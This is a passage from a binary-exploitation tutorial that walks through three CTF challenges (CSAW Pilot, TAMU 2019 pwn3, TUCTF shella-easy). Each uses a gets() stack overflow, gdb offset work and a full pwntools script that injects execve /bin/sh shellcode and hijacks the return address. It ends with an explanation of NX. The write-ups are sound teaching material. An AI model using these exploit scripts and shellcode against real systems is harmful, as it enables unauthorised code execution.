So we can see that the offset between the start of our input and the return address is 0x7fffffffdea8 - 0x7fffffffde80 = 0x28 bytes. So we have a way to overwrite the return address, a place to store our shellcode, and we know where it is in memory. With this we can write our exploit:

from pwn import *

target = process('./pilot')

print target.recvuntil("[*]Location:")

leak = target.recvline()

inputAdr = int(leak.strip("\n"), 16)

payload = ""
# This shellcode is originally from: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/
# However it looks like that site is down now
# This shellcode will pop a shell when we run it
payload += "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05" 

# Padding to the return address
payload += "0"*(0x28 - len(payload))

# Overwrite the return address with the address of the start of our input
payload += p64(inputAdr)

# Send the payload, drop to an interactive shell to use the shell we pop
target.send(payload)

target.interactive()

When we run it:

$	python exploit.py 
[+] Starting local process './pilot': pid 5764
[*]Welcome DropShip Pilot...
[*]I am your assitant A.I....
[*]I will be guiding you through the tutorial....
[*]As a first step, lets learn how to land at the designated location....
[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...
[*]Good Luck Pilot!....
[*]Location:
[*] Switching to interactive mode
[*]Command:$ w
 20:49:30 up  3:36,  1 user,  load average: 0.32, 0.11, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               17:14    3:36m  1:02   0.17s /sbin/upstart --user
$ ls
exploit.py  pilot

Just like that, we popped a shell!

Tamu 2019 Pwn 3

Let's take a look at the binary:

$	file pwn3 
pwn3: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
$	./pwn3 
Take this, you might need it on your journey 0xffa1c61e!
15935728

So we are dealing with a 32 bit binary. When we run it, it prints out what looks like a stack address and prompts us for input. When we take a look at the main function in Ghidra, we see this:

/* WARNING: Type propagation algorithm not settling */

undefined4 main(void)

{
  int iVar1;
  
  iVar1 = __x86.get_pc_thunk.ax(&stack0x00000004);
  setvbuf((FILE *)(*(FILE **)(iVar1 + 0x19fd))->_flags,(char *)0x2,0,0);
  echo();
  return 0;
}

Looking through the main function, the most important thing here is that it calls the echo function. Let's take a look at that function in Ghidra:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void echo(void)

{
  char input [294];
  
  printf("Take this, you might need it on your journey %p!\n",input);
  gets(input);
  return;
}

So we can see that this function prints the address of the char buffer input, then calls gets with input as an argument. This is a bug since gets doesn't restrict how much data it scans in, we get an overflow. With this we can overwrite the return address and get code execution. The question is now what do we call? There aren't any functions that will either print the flag or give us a shell like in some of the previous challenges. We will instead be using shellcode.

Shellcode is essentially just precompiled code that we can inject into a binary's memory, and if we redirect code execution to it it will run. It will need to match the architecture, so we will need to have arm for x86 linux. Whenever I need just generic shellcode I typically grab it from http://shell-storm.org/shellcode/ (or you could just google for shellcode, or make it yourself which we will cover later). I'll be using the Linux/x86 - execve /bin/sh shellcode - 23 bytes shellcode by Hamza Megahed found at http://shell-storm.org/shellcode/files/shellcode-827.php. The shellcode I'm using will just pop a shell for us when we run it.

Now we can inject it into memory, however we need to deal with something called ASLR (Address Space Layout Randomization). This is a binary mitigation (a mechanism made to make pwning harder). What it does is it randomizes all of the addresses for various memory regions, so every time the binary runs we don't know where things are in memory. While the addresses are random, the offsets between things in the same memory region remain the same. So if we just leak a single address from a memory region that we know what it is, since the offsets are the same we can figure out the address of anything else in the memory region.

This also applies to where our shellocde is stored in memory, which we need to know in order to call it. Luckily for us, the address printed is the start of our input on the stack. So we can just take that address and overwrite the return address with it, to call our shellcode.

Let's use gdb to see how much space we have between the start of our input and the return address:

gef➤  disas echo
Dump of assembler code for function echo:
   0x0000059d <+0>:	push   ebp
   0x0000059e <+1>:	mov    ebp,esp
   0x000005a0 <+3>:	push   ebx
   0x000005a1 <+4>:	sub    esp,0x134
   0x000005a7 <+10>:	call   0x4a0 <__x86.get_pc_thunk.bx>
   0x000005ac <+15>:	add    ebx,0x1a20
   0x000005b2 <+21>:	sub    esp,0x8
   0x000005b5 <+24>:	lea    eax,[ebp-0x12a]
   0x000005bb <+30>:	push   eax
   0x000005bc <+31>:	lea    eax,[ebx-0x191c]
   0x000005c2 <+37>:	push   eax
   0x000005c3 <+38>:	call   0x410 <printf@plt>
   0x000005c8 <+43>:	add    esp,0x10
   0x000005cb <+46>:	sub    esp,0xc
   0x000005ce <+49>:	lea    eax,[ebp-0x12a]
   0x000005d4 <+55>:	push   eax
   0x000005d5 <+56>:	call   0x420 <gets@plt>
   0x000005da <+61>:	add    esp,0x10
   0x000005dd <+64>:	nop
   0x000005de <+65>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x000005e1 <+68>:	leave  
   0x000005e2 <+69>:	ret    
End of assembler dump.
gef➤  b *echo+61
Breakpoint 1 at 0x5da
gef➤  r
Starting program: /Hackery/pod/modules/bof_shellcode/tamu19_pwn3/pwn3 
Take this, you might need it on your journey 0xffffcf3e!
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf3e  →  "15935728"
$ebx   : 0x56556fcc  →  <_GLOBAL_OFFSET_TABLE_+0> aam 0x1e
$ecx   : 0xf7faf5c0  →  0xfbad2288
$edx   : 0xf7fb089c  →  0x00000000
$esp   : 0xffffcf20  →  0xffffcf3e  →  "15935728"
$ebp   : 0xffffd068  →  0xffffd078  →  0x00000000
$esi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$edi   : 0x0       
$eip   : 0x565555da  →  <echo+61> add esp, 0x10
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
───────────────────────────────────────────────────────────────────── stack ────
0xffffcf20│+0x0000: 0xffffcf3e  →  "15935728"	 ← $esp
0xffffcf24│+0x0004: 0xffffcf3e  →  "15935728"
0xffffcf28│+0x0008: 0xffffcf4c  →  0x00000000
0xffffcf2c│+0x000c: 0x565555ac  →  <echo+15> add ebx, 0x1a20
0xffffcf30│+0x0010: 0x00000000
0xffffcf34│+0x0014: 0x00000000
0xffffcf38│+0x0018: 0x00000000
0xffffcf3c│+0x001c: 0x35310000
─────────────────────────────────────────────────────────────── code:x86:32 ────
   0x565555ce <echo+49>        lea    eax, [ebp-0x12a]
   0x565555d4 <echo+55>        push   eax
   0x565555d5 <echo+56>        call   0x56555420 <gets@plt>
 → 0x565555da <echo+61>        add    esp, 0x10
   0x565555dd <echo+64>        nop    
   0x565555de <echo+65>        mov    ebx, DWORD PTR [ebp-0x4]
   0x565555e1 <echo+68>        leave  
   0x565555e2 <echo+69>        ret    
   0x565555e3 <main+0>         lea    ecx, [esp+0x4]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn3", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x565555da → echo()
[#1] 0x5655561a → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x565555da in echo ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x56558000-0x5657a000), permission=rwx
  0x56558160 - 0x56558168  →   "15935728" 
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffcf3e - 0xffffcf46  →   "15935728" 
gef➤  info frame
Stack level 0, frame at 0xffffd070:
 eip = 0x565555da in echo; saved eip = 0x5655561a
 called by frame at 0xffffd090
 Arglist at 0xffffd068, args: 
 Locals at 0xffffd068, Previous frame's sp is 0xffffd070
 Saved registers:
  ebx at 0xffffd064, ebp at 0xffffd068, eip at 0xffffd06c

Just a bit of math:

>>> hex(0xffffd06c - 0xffffcf3e)
'0x12e'

So the space between the start of our input and the return address is 0x12e bytes. This makes sense since the char array which holds our input is 294 bytes large, and there are two saved register values (ebx and ebp) on the stack in between our input and the saved return address each 4 bytes a piece (294 + 4 + 4 = 0x12e). With all of this, we have all we need to write the exploit:

from pwn import *

target = process('./pwn3')

# Print out the text, up to the address of the start of our input
print target.recvuntil("journey ")

# Scan in the rest of the line
leak = target.recvline()

# Strip away the characters not part of our address
shellcodeAdr = int(leak.strip("!\n"), 16)

# Make the payload
payload = ""
# Our shellcode from: http://shell-storm.org/shellcode/files/shellcode-827.php
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Pad the rest of the space to the return address with zeroes
payload += "0"*(0x12e - len(payload))
# Overwrite the return address with te leaked address which points to the start of our shellcode
payload += p32(shellcodeAdr)

# Send the payload
target.sendline(payload)

# Drop to an interactive shell to use our newly popped shell
target.interactive()

When we run it:

$	python exploit.py 
[+] Starting local process './pwn3': pid 5149
Take this, you might need it on your journey 
[*] Switching to interactive mode
$ w
 19:33:06 up  2:19,  1 user,  load average: 0.01, 0.05, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               17:14    2:19m 40.15s  0.16s /sbin/upstart --user
$ ls
exploit.py  pwn3

Just like that, we popped a shell!

Tuctf 2018 shella-easy

Let's take a look at the binary:

$	file shella-easy 
shella-easy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=38de2077277362023aadd2209673b21577463b66, not stripped
$	./shella-easy 
Yeah I'll have a 0xffd01f50 with a side of fries thanks
15935728

So we can see that we are dealing with a 32 bit binary. When we run it, it prints out what looks like a stack address and prompts us for input. When we take a look at the main function, we see this:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
/* WARNING: Removing unreachable block (ram,0x08048551) */

void main(void)

{
  char input [64];
  
  setvbuf(stdout,(char *)0x0,2,0x14);
  setvbuf(stdin,(char *)0x0,2,0x14);
  printf("Yeah I\'ll have a %p with a side of fries thanks\n",input);
  gets(input);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

So this is pretty similar to the other challenges in this module. There is a char array input which can hold 64 bytes, which it prints it's address. After that it runs the function gets with input as an argument, allowing us to do a buffer overflow attack and get the return address. With that we can get code execution. Our plan is to just push shellcode onto the stack, and we know where it is thanks to the infoleak. Then we will overwrite the return address to point to the start of our shellcode. We will use shellcode that pops a shell for us when we run it. The shellcode I will use is from http://shell-storm.org/shellcode/files/shellcode-827.php.

Also there is a slight problem with our plan. That is according to the decompiled code, the function exit is called. When this function is called, the ret instruction will not run in the context of this function, so we won't get our code execution. However the decompiled code isn't entirely correct. Looking at the assembly code gives us the full picture:

        08048539 e8 52 fe        CALL       gets                                             char * gets(char * __s)
                 ff ff
        0804853e 83 c4 04        ADD        ESP,0x4
        08048541 81 7d f8        CMP        dword ptr [EBP + local_c],0xdeadbeef
                 ef be ad de
        08048548 74 07           JZ         LAB_08048551
        0804854a 6a 00           PUSH       0x0
        0804854c e8 4f fe        CALL       exit                                             void exit(int __status)
                 ff ff
                             -- Flow Override: CALL_RETURN (CALL_TERMINATOR)
                             LAB_08048551                                    XREF[1]:     08048548(j)  
        08048551 b8 00 00        MOV        EAX,0x0
                 00 00
        08048556 8b 5d fc        MOV        EBX,dword ptr [EBP + local_8]
        08048559 c9              LEAVE
        0804855a c3              RET

So we can see that there is a check to see if local_c is equal to 0xdeadbeef, and if it is the function does not call exit(0) and we get our code execution. When we look at the stack layout in Ghidra, we see that this variable is within our means to overwrite (and it is at an offset of 0x40). So we just need to overwrite it with 0xdeadbeef and we will be good to go:

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined main()
             undefined         AL:1           <RETURN>
             undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     08048556(R)  
             undefined4        Stack[-0xc]:4  local_c                                 XREF[2]:     0804851b(W), 
                                                                                                   08048541(R)  
             char[64]          Stack[-0x4c]   input                                   XREF[2]:     08048522(*), 
                                                                                                   08048535(*)  

Next let's find the offset between the start of our input and the return address in gdb:

gef➤  disas main
Dump of assembler code for function main:
   0x080484db <+0>:	push   ebp
   0x080484dc <+1>:	mov    ebp,esp
   0x080484de <+3>:	push   ebx
   0x080484df <+4>:	sub    esp,0x44
   0x080484e2 <+7>:	call   0x8048410 <__x86.get_pc_thunk.bx>
   0x080484e7 <+12>:	add    ebx,0x1b19
   0x080484ed <+18>:	mov    eax,DWORD PTR [ebx-0x4]
   0x080484f3 <+24>:	mov    eax,DWORD PTR [eax]
   0x080484f5 <+26>:	push   0x14
   0x080484f7 <+28>:	push   0x2
   0x080484f9 <+30>:	push   0x0
   0x080484fb <+32>:	push   eax
   0x080484fc <+33>:	call   0x80483c0 <setvbuf@plt>
   0x08048501 <+38>:	add    esp,0x10
   0x08048504 <+41>:	mov    eax,DWORD PTR [ebx-0x8]
   0x0804850a <+47>:	mov    eax,DWORD PTR [eax]
   0x0804850c <+49>:	push   0x14
   0x0804850e <+51>:	push   0x2
   0x08048510 <+53>:	push   0x0
   0x08048512 <+55>:	push   eax
   0x08048513 <+56>:	call   0x80483c0 <setvbuf@plt>
   0x08048518 <+61>:	add    esp,0x10
   0x0804851b <+64>:	mov    DWORD PTR [ebp-0x8],0xcafebabe
   0x08048522 <+71>:	lea    eax,[ebp-0x48]
   0x08048525 <+74>:	push   eax
   0x08048526 <+75>:	lea    eax,[ebx-0x1a20]
   0x0804852c <+81>:	push   eax
   0x0804852d <+82>:	call   0x8048380 <printf@plt>
   0x08048532 <+87>:	add    esp,0x8
   0x08048535 <+90>:	lea    eax,[ebp-0x48]
   0x08048538 <+93>:	push   eax
   0x08048539 <+94>:	call   0x8048390 <gets@plt>
   0x0804853e <+99>:	add    esp,0x4
   0x08048541 <+102>:	cmp    DWORD PTR [ebp-0x8],0xdeadbeef
   0x08048548 <+109>:	je     0x8048551 <main+118>
   0x0804854a <+111>:	push   0x0
   0x0804854c <+113>:	call   0x80483a0 <exit@plt>
   0x08048551 <+118>:	mov    eax,0x0
   0x08048556 <+123>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x08048559 <+126>:	leave  
   0x0804855a <+127>:	ret    
End of assembler dump.
gef➤  b *main+99
Breakpoint 1 at 0x804853e
gef➤  r
Starting program: /Hackery/pod/modules/bof_shellcode/tu18_shellaeasy/shella-easy 
Yeah I'll have a 0xffffd020 with a side of fries thanks
15935728
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffd020  →  "15935728"
$ebx   : 0x0804a000  →  0x08049f0c  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0xf7faf5c0  →  0xfbad208b
$edx   : 0xf7fb089c  →  0x00000000
$esp   : 0xffffd01c  →  0xffffd020  →  "15935728"
$ebp   : 0xffffd068  →  0x00000000
$esi   : 0xf7faf000  →  0x001d7d6c ("l}"?)
$edi   : 0x0       
$eip   : 0x0804853e  →  <main+99> add esp, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd01c│+0x0000: 0xffffd020  →  "15935728"	 ← $esp
0xffffd020│+0x0004: "15935728"
0xffffd024│+0x0008: "5728"
0xffffd028│+0x000c: 0x00000000
0xffffd02c│+0x0010: 0xf7e0760b  →   add esp, 0x10
0xffffd030│+0x0014: 0xf7faf3fc  →  0xf7fb0200  →  0x00000000
0xffffd034│+0x0018: 0x00000000
0xffffd038│+0x001c: 0x00000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048535 <main+90>        lea    eax, [ebp-0x48]
    0x8048538 <main+93>        push   eax
    0x8048539 <main+94>        call   0x8048390 <gets@plt>
 →  0x804853e <main+99>        add    esp, 0x4
    0x8048541 <main+102>       cmp    DWORD PTR [ebp-0x8], 0xdeadbeef
    0x8048548 <main+109>       je     0x8048551 <main+118>
    0x804854a <main+111>       push   0x0
    0x804854c <main+113>       call   0x80483a0 <exit@plt>
    0x8048551 <main+118>       mov    eax, 0x0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804853e → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x0804853e in main ()
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffd020 - 0xffffd028  →   "15935728" 
gef➤  i f
Stack level 0, frame at 0xffffd070:
 eip = 0x804853e in main; saved eip = 0xf7defe81
 Arglist at 0xffffd068, args: 
 Locals at 0xffffd068, Previous frame's sp is 0xffffd070
 Saved registers:
  ebx at 0xffffd064, ebp at 0xffffd068, eip at 0xffffd06c

So we can see that the offset is 0xffffd06c - 0xffffd020 = 0x4c. With that we have everything we need to make the exploit:

from pwn import *

target = process('./shella-easy')
#gdb.attach(target, gdbscript = 'b *0x804853e')

# Scan in the first line of text, parse out the infoleak
leak = target.recvline()
leak = leak.strip("Yeah I'll have a ")
leak = leak.strip(" with a side of fries thanks\n")
shellcodeAdr = int(leak, 16)

# Make the payload
payload = ""
# This shellcode is from: http://shell-storm.org/shellcode/files/shellcode-827.php`
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload += "0"*(0x40 - len(payload)) # Padding to the local_c variable
payload += p32(0xdeadbeef) # Overwrite the local_c variable with 0xdeadbeef
payload += "1"*8 # Padding to the return address
payload += p32(shellcodeAdr) # Overwrite the return address to point to the start of our shellcode

# Send the payload
target.sendline(payload)
target.interactive()

When we run the exploit:

$	python exploit.py 
[+] Starting local process './shella-easy': pid 6434
[*] Switching to interactive mode
$ w
 21:46:23 up  4:33,  1 user,  load average: 0.03, 0.08, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               17:14    4:33m  1:21   0.18s /sbin/upstart --user
$ ls
exploit.py  readme.md  shella-easy
$  

Just like that we popped a shell. Also one more thing I want to show, the shellcode we push on the stack can be disassembled to assembly instructions. Let's break right at the ret instruction which executes our shellcode (I did this by editing the breakpoint in the exploit to 0x0804855a, then running it):

Breakpoint 1, 0x0804855a in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x31313131 ("1111"?)
$ecx   : 0xf7f475a0  →  0xfbad208b
$edx   : 0xf7f4887c  →  0x00000000
$esp   : 0xfff4cb1c  →  0xfff4cad0  →  0x6850c031
$ebp   : 0x31313131 ("1111"?)
$esi   : 0xf7f47000  →  0x001b1db0
$edi   : 0xf7f47000  →  0x001b1db0
$eip   : 0x0804855a  →  <main+127> ret 
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
───────────────────────────────────────────────────────────────────── stack ────
0xfff4cb1c│+0x0000: 0xfff4cad0  →  0x6850c031	 ← $esp
0xfff4cb20│+0x0004: 0x00000000
0xfff4cb24│+0x0008: 0xfff4cbb4  →  0xfff4e297  →  "./shella-easy"
0xfff4cb28│+0x000c: 0xfff4cbbc  →  0xfff4e2a5  →  "QT_QPA_PLATFORMTHEME=appmenu-qt5"
0xfff4cb2c│+0x0010: 0x00000000
0xfff4cb30│+0x0014: 0x00000000
0xfff4cb34│+0x0018: 0x00000000
0xfff4cb38│+0x001c: 0xf7f47000  →  0x001b1db0
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048551 <main+118>       mov    eax, 0x0
    0x8048556 <main+123>       mov    ebx, DWORD PTR [ebp-0x4]
    0x8048559 <main+126>       leave  
 →  0x804855a <main+127>       ret    
   ↳  0xfff4cad0                  xor    eax, eax
      0xfff4cad2                  push   eax
      0xfff4cad3                  push   0x68732f2f
      0xfff4cad8                  push   0x6e69622f
      0xfff4cadd                  mov    ebx, esp
      0xfff4cadf                  push   eax
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804855a → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  s
0xfff4cad0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x0       
$ebx   : 0x31313131 ("1111"?)
$ecx   : 0xf7f475a0  →  0xfbad208b
$edx   : 0xf7f4887c  →  0x00000000
$esp   : 0xfff4cb20  →  0x00000000
$ebp   : 0x31313131 ("1111"?)
$esi   : 0xf7f47000  →  0x001b1db0
$edi   : 0xf7f47000  →  0x001b1db0
$eip   : 0xfff4cad0  →  0x6850c031
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
────────────────────────────────────────────────────────────────────────────────────── stack ────
0xfff4cb20│+0x0000: 0x00000000	 ← $esp
0xfff4cb24│+0x0004: 0xfff4cbb4  →  0xfff4e297  →  "./shella-easy"
0xfff4cb28│+0x0008: 0xfff4cbbc  →  0xfff4e2a5  →  "QT_QPA_PLATFORMTHEME=appmenu-qt5"
0xfff4cb2c│+0x000c: 0x00000000
0xfff4cb30│+0x0010: 0x00000000
0xfff4cb34│+0x0014: 0x00000000
0xfff4cb38│+0x0018: 0xf7f47000  →  0x001b1db0
0xfff4cb3c│+0x001c: 0xf7f8ec04  →  0x00000000
──────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
 → 0xfff4cad0                  xor    eax, eax
   0xfff4cad2                  push   eax
   0xfff4cad3                  push   0x68732f2f
   0xfff4cad8                  push   0x6e69622f
   0xfff4cadd                  mov    ebx, esp
   0xfff4cadf                  push   eax
──────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shella-easy", stopped, reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xfff4cad0 → xor eax, eax
─────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/10i 0xfff4cad0
=> 0xfff4cad0:	xor    eax,eax
   0xfff4cad2:	push   eax
   0xfff4cad3:	push   0x68732f2f
   0xfff4cad8:	push   0x6e69622f
   0xfff4cadd:	mov    ebx,esp
   0xfff4cadf:	push   eax
   0xfff4cae0:	push   ebx
   0xfff4cae1:	mov    ecx,esp
   0xfff4cae3:	mov    al,0xb
   0xfff4cae5:	int    0x80

There we can see our shellcode.

nx

Nx is short-hand for Non-Executable stack. What this means is that the stack region of memory is not executable. So if there is perfectly valid code there, you can't execute it due to it's permissions.

For more on this, let's take a look at the memory mappings for a binary that was compiled without this mitigation:

Here it is with NX enabled:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/tryc
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/tryc
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/tryc
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/tryc
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/tryc
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Here is is with NX disabled:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000403000 0x0000000000000000 r-x /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-x /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rwx /tmp/try
0x00007ffff7dcb000 0x00007ffff7fac000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rwx /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rwx
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7ffc000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rwx /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rwx
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rwx [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

So we can see that for when NX is enabled, the stack has the memory permissions rw. When NX hasn't been enabled, the stack has the memory permissions rwx. So when NX is enabled we can read and write to it, however when NX isn't enabled we can read / write / and execute code. Let's see what happens when we try to jump to somewhere in the stack (essentially executing data in the stack as code) while NX is enabled:

gef➤  j *0x00007ffffffde000
Continuing at 0x7ffffffde000.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffffffde000 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x00007ffff7fafa00  →  0x00000000fbad2288
$rcx   : 0x00007ffff7ed7f81  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x400             
$rsp   : 0x00007fffffffdee8  →  0x00007ffff7e5ae50  →  <_IO_file_underflow+336> test rax, rax
$rbp   : 0xd68             
$rsi   : 0x0000555555559260  →  0x0000000000000000
$rdi   : 0x0               
$rip   : 0x00007ffffffde000  →  0x0000000000000000
$r8    : 0x00007ffff7fb2580  →  0x0000000000000000
$r9    : 0x00007ffff7fb7500  →  0x00007ffff7fb7500  →  [loop detected]
$r10   : 0x00007ffff7fafca0  →  0x0000555555559660  →  0x0000000000000000
$r11   : 0x246             
$r12   : 0x00007ffff7fb0960  →  0x0000000000000000
$r13   : 0x00007ffff7fb1560  →  0x0000000000000000
$r14   : 0x00007ffff7fb0848  →  0x00007ffff7fb0760  →  0x00000000fbad2084
$r15   : 0x00007ffff7fafa00  →  0x00000000fbad2288
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdee8│+0x0000: 0x00007ffff7e5ae50  →  <_IO_file_underflow+336> test rax, rax     ← $rsp
0x00007fffffffdef0│+0x0008: 0x00007ffff7f7a447  →  "__vdso_getcpu"
0x00007fffffffdef8│+0x0010: 0x00007ffff7fafa00  →  0x00000000fbad2288
0x00007fffffffdf00│+0x0018: 0x00007ffff7fb1560  →  0x0000000000000000
0x00007fffffffdf08│+0x0020: 0x000000000000000a
0x00007fffffffdf10│+0x0028: 0x0000000000000000
